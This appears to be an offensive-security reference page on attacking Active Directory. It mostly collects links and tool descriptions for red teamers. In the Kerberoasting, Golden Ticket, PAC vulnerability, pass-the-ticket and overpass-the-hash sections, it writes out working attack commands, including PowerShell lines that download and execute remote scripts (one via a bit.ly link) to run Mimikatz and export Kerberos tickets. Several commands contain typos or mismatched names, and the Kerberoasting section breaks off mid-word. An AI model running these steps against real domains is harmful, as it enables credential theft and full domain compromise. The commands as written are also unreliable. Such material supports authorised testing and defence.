Attacking Active Directory

Where can we go, once we are in?

AD Guides and Reference

• https://mayfly277.github.io/assets/blog/pentest_ad_dark.svg - Another killer AD Mindmap.

Active Directory Basics and Collections

https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview

• https://adsecurity.org/

• https://kvenkatraman10.gitbook.io/ad101/

• https://activedirectorypro.com/glossary/

• Infosec_Reference/Active_Directory

• https://github.com/infosecn1nja/AD-Attack-Defense

• AD-security-workshop

• AD Security Technical Implementation Guide

• https://social.technet.microsoft.com/wiki/contents/articles/20964.active-directory-ultimate-reading-collection.aspx

• https://xapax.github.io/security/#attacking_active_directory_domain/understanding_active_directory/about_active_directory/

• https://xapax.github.io/security/#attacking_active_directory_domain/good_to_know/active_directory_help_commands/

Domain Controllers

• https://adsecurity.org/?p=3377

• https://xapax.github.io/security/#attacking_active_directory_domain/understanding_active_directory/domain_controller/

• Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory

• https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/

Domain Groups

https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups

• https://www.harmj0y.net/blog/activedirectory/a-pentesters-guide-to-group-scoping/

Group Policy

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831791(v=ws.11)

• NIST Hardened GPO checklist

• https://xapax.github.io/security/#attacking_active_directory_domain/understanding_active_directory/group_policies/

AD Certificate Services

https://docs.microsoft.com/en-us/learn/modules/implement-manage-active-directory-certificate-services

• https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/

• Certified Pre-Owned

• PSPKIAudit - PowerShell toolkit for auditing Active Directory Certificate Services (AD CS).

• Certify - Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

  • https://specterops.io/assets/resources/Certified_Pre-Owned.pdf

  • Certipy - Python implementation for Certify

  • https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6?gi=8b97d28018d8

Kerberos

https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview

• https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html

• https://0xeb-bp.com/blog/2019/11/21/practical-guide-pass-the-ticket.html

• https://blog.redforce.io/oh-my-kerberos-do-not-get-kerberoasted/

• Kerberos Tickets on Linux Red Teams

• https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61

• Kerberos Attacks Cheat Sheet

• Kerberos cheatsheet

Attacking AD

• PayloadsAllTheThings/ActiveDirectoryAttack

• Active-Directory-Exploitation-Cheat-Sheet

• Active Directory Exploitation Cheat Sheet

• PayloadsAllTheThings/Windows-Usingcredentials

• Top 16 Active Directory Vulnerabilities

• Attacking Active Directory: 0 to 0.9 | zer1t0

• https://www.blackhillsinfosec.com/domain-goodness-learned-love-ad-explorer/

• https://www.blackhillsinfosec.com/webcast-weaponizing-active-directory/

• https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/

• Tactics, Techniques and Procedures for Attacking Active Directory BlackHat Asia 2019

• https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse

• WadComs - WADComs is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments.

Queries and Commands for Active Directory

• Get more information about users in AD

  • Manual Queries - Traditional

    • >net user - enumerates all accounts

    • >net user /domain - enumerates all accounts in the domain

    • >net user bob_admin - enumerate groups the user belongs to

  • Manual queries - Powershell

    • Script that will Enumerate AD users and properties of the accounts

    • - See PWKv2

• https://xapax.github.io/security/#attacking_active_directory_domain/recon/active_directory_recon/

• https://xapax.github.io/security/#attacking_active_directory_domain/powershell/activedirectory/

• https://xapax.github.io/security/#attacking_active_directory_domain/good_to_know/ldap_syntax/

• https://xapax.github.io/security/#attacking_active_directory_domain/powershell/jit_csharp_compilation/

• Cyber Operations: Active Directory - pg.235

• BTFM: Active Directory Inventory - pg. 16

pageAD Security Checks

Bloodhound

The Active Directory Mapping tool. Used by Red and Blue teamers to map out their Active Directory environment and look for the shortest path to compromise Domain Admin.

Guides and Reference

• Awesome Lists Collection: Bloodhound

• BloodHound: Six Degrees of Domain Admin — BloodHound 3.0.3 documentation

• Title - ERNW_DogWhispererHandbook.pdf

• BloodHound Power Usage - Google Slides

• CptJesus | BloodHound: Intro to Cypher

• AD Resilience - Oslo 2019 - Google Slides

• Attack Mapping With Bloodhound

• Hidden Administrative Accounts: BloodHound to the Rescue

• Bloodhound walkthrough. A Tool for Many Tradecrafts

• Conda's Bloodhound Setup Video

• Operator Handbook: Bloodhound - pg. 4

Bloodhound Basics

Bloodhound Basics

• Uses graph theory to reveal the hidden and unintended relationships in an AD environment.

• Easily identity highly complex attack paths - can be used by defenders ad well.

• Bloodhound works by running an ingestor that queries AD for users, groups and hosts. It will then connect to each system to enumerate logged in users sessions and permissions. ***WARNING: VERY LOUD*** There is a stealth option but its limited.

• Two Verisons

  • BloodHound - Powershell based older module

  • Sharphound - C# verision that is much faster and stable. Standalone binary or imported as a Powershell script.

    • Script version wil use reflection and assembly.load to load the compiled ingestor into memory

    • https://github.com/BloodhoundAD/BloodHound/tree/master/ingestors

• Multiple connection Methods you might need to specify

  • Group - group membership info

  • LocalGroup - Collect local admin info

  • Session - session info

  • SessionLoop - Continuously collection session info until killed

  • Trust - enumerate domain trust data

  • ACL - collect ACL data

  • ComputerOnly - local admin and session data

  • GPOLocalGroup - collects local admin info via group policy objects

  • LoggedOn - Collects session info using privileged methods (needs admin)

  • ObjectProps - collects node property info for users and devices.

  • Default - collects Group membership, local admin,sessions, and domain trusts

• Commands

  • Bloodhound.ps1[sharphound.ps1] Invoke-Bloodhound -CollectionMethod [method of choice]

  • > Sharphound.exe -c [method of choice]

  • After bloodhound finishes, it will drop the files on the victims system. Pull them on to your machine.

  • Next we need to start our correlation graph using Neo4j server and import the data

    • # apt-get install bloodhound

    • # neo4j console

    • Open browser to http://localhost:7474

      • connect to bolt://localhost:7687

      • username/pw = neo4j/neo4j

      • CHANGE PASSWORD

  • # sudo bloodhound

    • Database URL: bolt://127.0.0.1:7687

    • Username: neo4j

    • Password: newpassword

    • Upload data - all the created csv files

  • Neo4j allows for raw queries through its own language called Cypher

    • https://blog.cptjesus/posts/introtocypher

    • https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise

    • https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json

  • When using the ACL method, bloodhound will gather all permissions for users/objects

  • The info we gather from Access Control Entries describes allowed and denied permissions for users groups and comps.

  • Bloodhound 1.3 - the ACL attack path Update https://wald0.com/?p=112

  • Introducing the adversary resiliancy methodology http://bit.ly/2GYU7S7

Bloodhound Related Tools

• Bloodhound Enterprise - Enterprise grade attack path management solution

• BloodHound.py - A Python based ingestor for BloodHound

• Plumhound - Reporting Engine for bloodhound.

• SharpHound - C# version of bloodhound

• GoodHound - Uses Sharphound, Bloodhound and Neo4j to produce an actionable list of attack paths for targeted remediation.

• BadBlood - BadBlood by Secframe fills a Microsoft Active Directory Domain with a structure and thousands of objects. The output of the tool is a domain similar to a domain in the real world. Used for testing of Bloodhound.

• aclpwn.py - Active Directory ACL exploitation with BloodHound

• crackhound - CrackHound is a way to introduce plain-text passwords into BloodHound. This allows you to upload all your cracked hashes to the Neo4j database and use it for reporting purposes (csv exports) or path finding in BloodHound using custom queries.

  • https://www.trustedsec.com/blog/expanding-the-hound-introducing-plaintext-field-to-compromised-accounts/

• GoldenCopy - Copy the properties and groups of a user from neo4j (bloodhound) to create an identical golden ticket.

• GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application

• DeathStar - Automate getting Domain Admin using Empire

• ANGRYPUPPY - Bloodhound Attack Path Automation in CobaltStrike

Cypher Queries

• DogWhisperer - BloodHound Cypher Cheat Sheet (v2)

• Bloodhound-Custom-Queries

• BloodhoundAD-Queries

• Bloodhound Cypher Cheatsheet

AD Enumeration

https://attl4s.github.io/assets/pdf/Understanding_Active_Directory_Enumeration.pdf

Tools

• ADExplorer by Sysinternals - An advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.

• ADRecon - ADRecon is a tool which extracts and combines various artifacts (as highlighted below) out of an AD environment.

• ACLight -A tool for advanced discovery of Privileged Accounts - including Shadow Admins.

• TruffleSnout - Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration.

• Snaffler - It gets a list of Windows computers from Active Directory, then spreads out its snaffly appendages to them all to figure out which ones have file shares, and whether you can read them.

SPN Scanning

• SPN Scanning – Service Discovery without Network Port Scanning

• Active Directory: PowerShell script to list all SPNs used

• Discovering Service Accounts Without Using Privile

Data Mining

• A Data Hunting Overview

• Push it, Push it Real Good

• Finding Sensitive Data on Domain SQL Servers using PowerUpSQL

• Sensitive Data Discovery in Email with MailSniper

• Remotely Searching for Sensitive Files

• I Hunt Sysadmins - harmj0y

User Hunting

• Active Directory Recon Without Admin Rights

• Gathering AD Data with the Active Directory PowerShell Module

• Using ActiveDirectory module for Domain Enumeration from PowerShell Constrained Language Mode

• PowerUpSQL Active Directory Recon Functions

• Derivative Local Admin

• Automated Derivative Administrator Search

• Dumping Active Directory Domain Info – with PowerUpSQL!

• Local Group Enumeration

• Situational Awareness

• Commands for Domain Network Compromise

• A Pentester’s Guide to Group Scopin

LAPS

• Microsoft LAPS Security & Active Directory LAPS Configuration Recon

• Running LAPS with PowerView

• RastaMouse LAPS Part 1 & 2

ADFS

• 118 Attacking ADFS Endpoints with PowerShell Karl Fosaaen

• Using PowerShell to Identify Federated Domains

• LyncSniper: A tool for penetration testing Skype for Business and Lync deployments

• Troopers 19 - I am AD FS and So Can You

AD Exploitation

Tools

Credential Harvesting

• Red Snarf - RedSnarf is a pen-testing / red-teaming tool by Ed Williams for retrieving hashes and credentials from Windows workstations, servers and domain controllers using OpSec Safe Techniques

  • https://www.kali.org/tools/redsnarf/

• AD-006 - Dumping Domain Password Hashes

Exploitation

• CrackMapExec - CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of "Living off the Land": abusing built-in Active Directory features/protocols to achieve it's functionality and allowing it to evade most endpoint protection/IDS/IPS solutions.

  • Home · byt3bl33d3r/CrackMapExec Wiki · GitHub

  • Introduction - CrackMapExec ~ CME WIKI

• Rubeus - Rubeus is a C# toolset for raw Kerberos interaction and abuses.

  • Rubeus-GUI - GUI alternative to the Rubeus command line tool, for all your Kerberos exploit requirements

• orpheus - Bypassing Kerberoast Detections with Modified KDC Options and Encryption Types

  • https://www.trustedsec.com/blog/the-art-of-bypassing-kerberoast-detections-with-orpheus/

• ActiveReign - ActiveReign, code name AR3, is a network enumeration and attack toolset designed for use on Windows Active Directory environments.

• LAPSToolkit - Tool to audit and attack LAPS environments.

• Powermad - PowerShell MachineAccountQuota and DNS exploit tools

  • https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/

• https://xapax.github.io/security/#attacking_active_directory_domain/good_to_know/tools/

Impacket Scripts

Impacket scripts

• GetTGT.py: Given a password, hash or aesKey, this script will request a TGT and save it as ccache.

• GetST.py: Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user.

• GetPac.py: This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication.

• GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat.

• GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.

• ticketConverter.py: This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa.

• ticketer.py: This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, ExtraSids, duration, etc.

• raiseChild.py: This script implements a child-domain to forest privilege escalation

Kerberoasting

• https://room362.com/post/2016/kerberoast-pt1/

• https://room362.com/post/2016/kerberoast-pt2/

• https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/kerberoasting/

• https://github.com/nidem/kerberoast

• https://www.pentestpartners.com/security-blog/how-to-kerberoast-like-a-boss/

• https://cobalt.io/blog/kerberoast-attack-techniques

• Kerberoasting Without Mimikatz

• Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain

• Extracting Service Account Passwords With Kerberoasting

• Cracking Service Account Passwords with Kerberoasting

• Kerberoast PW list for cracking passwords with complexity requirements

• DerbyCon 2019 - Kerberoasting Revisited

• https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting

• Conda's Kerberoasting Video

Kerberoasting

• Any ticket can be requested by any user with kerberos, from the domain controller

• Those tickets are encrypted with the NTLM hash of the associated service user.

• If we can guess the password to teh associated service user's NTLM hash, then we now know the password to the actual service account

• Steps:

  • List all SPN services. These are the service accounts for which we are going to pull all the kerberos tickets

    • >setspn -T [domain] -F -Q */*

  • Next we target either a single user SPN or pull all the user Kerberos tickets into our user's memory

    • Single target

      • >powershell Add-Tpe -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArguementList “HTTP/[hostname].[domain].local”

    • All User tickets

      • >powershell Add-Tpe -AssemblyName System.IdentityModel; IEX (New-Object Net.WebClient).DownloadString("https://githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArguementList $_.ServicePrincipalName}catch{}

    • And the powersploit tool to automate this!

      • https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/

    • Now we have our tickets imported into memory and we need to extract them.

      • Mimikatz Kerberoast export:

      • >powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/2qx4kuH'); Invoke-Mimikatz -Command ‘’'''''kerberos::list /export'''''''

      • Once extracted and on our victims machine and we can start cracking them!

        • use tgsrepcrack.p

Golden Ticket

AD-001 - Golden Ticket

• Creating your own tickets to Auth to any server

• You can take the old krbtgt hash from the previous hash dump and promote yourself back to Domain admin, all with an unprivileged account

• A few notes on krbtgt:

  • Do not reset the system generated password, it could break the whole domain

  • Even if you change every password for every domain admin, you can still become a DA

  • You can create Users and Groups that do not exist within the Golden ticket

• What you need

  • Domain - on victim host type: whoami

  • Domain Admin user - On victim host type: net local group administrators /DOMAIN

  • Domain SID - whoami /user chop off the last dash and 4 digits

  • krbtgt - From previous hashdump, use the second half of the hash/the NTLM hash

• Process

  • Run Smbexec, choose hashdump, and dump the domain controller

  • A log file will be created with the domain hashes. The one we need is the second part of the krbtgt hash

  • Return to original shell

  • Drop into mimikatz 2.0

    • use kiwi

  • Create golden ticket

    • >golden_ticket_create -u [domain admin suername] -d [domain] -k [krbtgt hash] -s [Domain SID] -t [location to Drop Golden Ticket]

• Using the Golden ticket

  • Shell access with limited access

    • >session -i

  • Load mimikatz

    • >use kiwi

  • Check current Kerberos Tickets

    • > kerberos_ticket_list

  • Purge all Kerberos Tickets

    • >kerberos_ticket_purge

  • Local our Golden Ticket (stored in /opt/ticekt.txt in our vm)

    • >kerberos_ticket_use /opt/ticket.txt

  • Drop into a shell and read files off the DC

    • >shell

    • > dir \ \DC\c$

  • Once we are authed using the Golden ticket, we can send Domain admin commands using WMIC

  • Example: execute a ping commmand and write that to a file on a remote server

    • wmic /authority:"Kerberos:[attacker.domain] \[target hostname]" /node:[target hostname] process call create "cmd /c ping 127.0.0.1 > C:\log.txt

Privildge Attribute Cert Vuln

Privilege Attribute Certificate vulnerability

• With basic information on a domain user you can move to a domain admin by editing the PAC

  • #git clone https://github.com/bidord/pykek /opt/pykek

  • # apt-get install krb5-user

  • # apt-get install rdate

  • # rdate -n [domain]

  • # echo [attacker IP][domain controller hostname] >> /etc/host

• Next we need 4 pieces of information

  • -u username@domain (user@domain1)

  • -d domain controller [domain.controller.test]

  • -p password

  • -s SID (get SID with command “whoami /user”

• Now that we have all the pieces

  • #cd /opt/pykek

  • #python ms12-068.py -d domain.controller.test -u user@domain1 -s [SID] -p [password

• We have created a credential cache ticket and now we copy it where it needs to go

  • #cp [e-mail] /tmp/krb5cc_0

• Now you have access with

  • #smclient -k -W domain1 //domain.controller.test/c$ -k

Pass-The-Ticket

https://0xeb-bp.github.io/blog/2019/11/21/practical-guide-pass-the-ticket.html

Kerberos Pass-The-Ticket

• Start with writing all tickets to the folder from wihch it was executed.

  • >privilege :: debug

  • >sekurlsa::tickets /export

• Now we import one of those as our tikets and drop back into mimikatz

  • >kerberos::ptt [0,ab9bf] [ticket info]

OverPTH

Overpass the Hash

• Over abuse NTLM user hash to gain a full Kerberos TGT

• The essence of the overpass the hash technique is to turn the NTLM hash into a Kerberos ticketand avoid the use of NTLM authentication. A simple way to do this is again with the sekurlsa::pth command from Mimikatz.

• #mimikatz # sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe

Kerberos Relay

• KrbRelay - Framework for Kerberos relaying

  • https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/

• https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.htm

Abusing Delegation

Abusing Constrained Delegation

• Another Word on Delegation

• From Kekeo to Rubeus

• Kerberos Delegation, Spns And More...

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

• https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

• Kerberos Resource-based Constrained Delegation: Computer Object Take Over

• Resource Based Constrained Delegation

• A Case Study in Wagging the Dog: Computer Takeover

• BloodHound 2.1's New Computer Takeover Attack

• No Shells Required - a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA

• Constructing Kerberos Attacks with Delegation Primitives

Abusing Unconstrained Delegation

• Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)

• Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory Forest

• Unconstrained Delegation Permissions

• Trust? Years to earn, seconds to break

• Hunting in Active Directory: Unconstrained Delegation & Forests Trusts

• Exploiting Unconstrained Delegation

• https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/abusing_unconstrained_delegation/

Attacking Domain Trusts

Attacking Domain Trusts

• A Guide to Attacking Domain Trusts

• It's All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts

• Active Directory forest trusts part 1 - How does SID filtering work?

• The Forest Is Under Control. Taking over the entire Active Directory forest

• Not A Security Boundary: Breaking Forest Trusts

• The Trustpocalypse

• Pentesting Active Directory Forests

• Security Considerations for Active Directory (AD) Trusts

• Kerberos Golden Tickets are Now More Golden

• https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain

Privileges and Permissions

Privileges and Permissions

• zBang - zBang is a risk assessment tool that detects potential privileged account threats

Insecure Usage of High Privilege Accounts

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/check_for_insecure_usage_of_high_privileged_accounts/

Local Admin Privileges

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/check_for_local_admin_privileges/

Writeable Executables in Shares

• https://www.harmj0y.net/blog/redteaming/targeted-trojanation/

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/check_for_writable_executables_on_shares/

DNSAdmins

• Abusing DNSAdmins privilege for escalation in Active Directory

• From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration

• Powermad - PowerShell MachineAccountQuota and DNS exploit tools

RID

• Rid Hijacking: When Guests Become Admins

Misconfigurations

GPO

• https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/

• A Redteamer's Guide to GPO's and OU's

• File templates for GPO Abuse

• GPO Abuse - Part 1

• GPO Abuse - Part 2

• SharpGPOAbuse

• Grouper - A PowerShell script for helping to find vulnerable settings in AD Group Policy.

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/check_for_misconfigured_gpo/

MSSQL Access

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/check_for_misconfgured_access_control_of_mssql/

Forest/Domain Trust

• https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d?gi=43aabaf65628

• https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV190006

• https://xapax.github.io/security/#attacking_active_directory_domain/attacking_windows_domain_domain_trust/

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/incorrectly_configured_forest_or_domain_trust/

ACLs

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/misconfigured_access_control_lists/

• aclpwn.py - Active Directory ACL exploitation with BloodHound

• ADACLScanner - A tool with GUI or command linte used to create reports of access control lists (DACLs) and system access control lists (SACLs) in Active Directory

• RACE - RACE is a PowerShell module for executing ACL attacks against Windows targets.

LAPS

• Exploiting Weak Active Directory Permissions With Powersploit

• Escalating privileges with ACLs in Active Directory

• Abusing Active Directory Permissions with PowerView

• BloodHound 1.3 – The ACL Attack Path Update

• Scanning for Active Directory Privileges & Privileged Accounts

• Active Directory Access Control List – Attacks and Defense

• aclpwn - Active Directory ACL exploitation with BloodHound

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/check_for_misconfigured_laps/

RODC

• https://adsecurity.org/?p=3592

DCShadow

DCShadow

• Privilege Escalation With DCShadow

• DCShadow

• DCShadow explained: A technical deep dive into the latest AD attack technique

• DCShadow - Silently turn off Active Directory Auditing

• DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more

• AD-003 - DCShadow

Specific Vulnerabilities

Specific Vulnerabilities

Remote Potato

• https://github.com/antonioCoco/RemotePotato0

PetitPotam

• https://github.com/topotam/PetitPotam/

• https://threatpost.com/microsoft-petitpotam-poc/168163/

• https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory/

Bronze Bit

• CVE-2020-17049: Kerberos Bronze Bit Attack – Overview

Zerologon

• Cobalt Strike ZeroLogon-BOF

• CVE-2020-1472 POC

• Zerologon: instantly become domain admin by subverting Netlogon cryptography (CVE-2020-1472)

Skeleton Key

• AD-002 - Skeleton Key

MS14-068 Kerberos Vulnerability

• MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege

• Digging into MS14-068, Exploitation and Defence

• From MS14-068 to Full Compromise – Step by Step

Special AD Target

Unsupported OS

• https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/check_for_unsupported_os

Microsoft SQL Server

• How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL

• Compromise With Powerupsql – Sql Attacks

Red Forest

• Attack and defend Microsoft Enhanced Security Administrative

Exchange

• Exchange-AD-Privesc

• Abusing Exchange: One API call away from Domain Admin

• NtlmRelayToEWS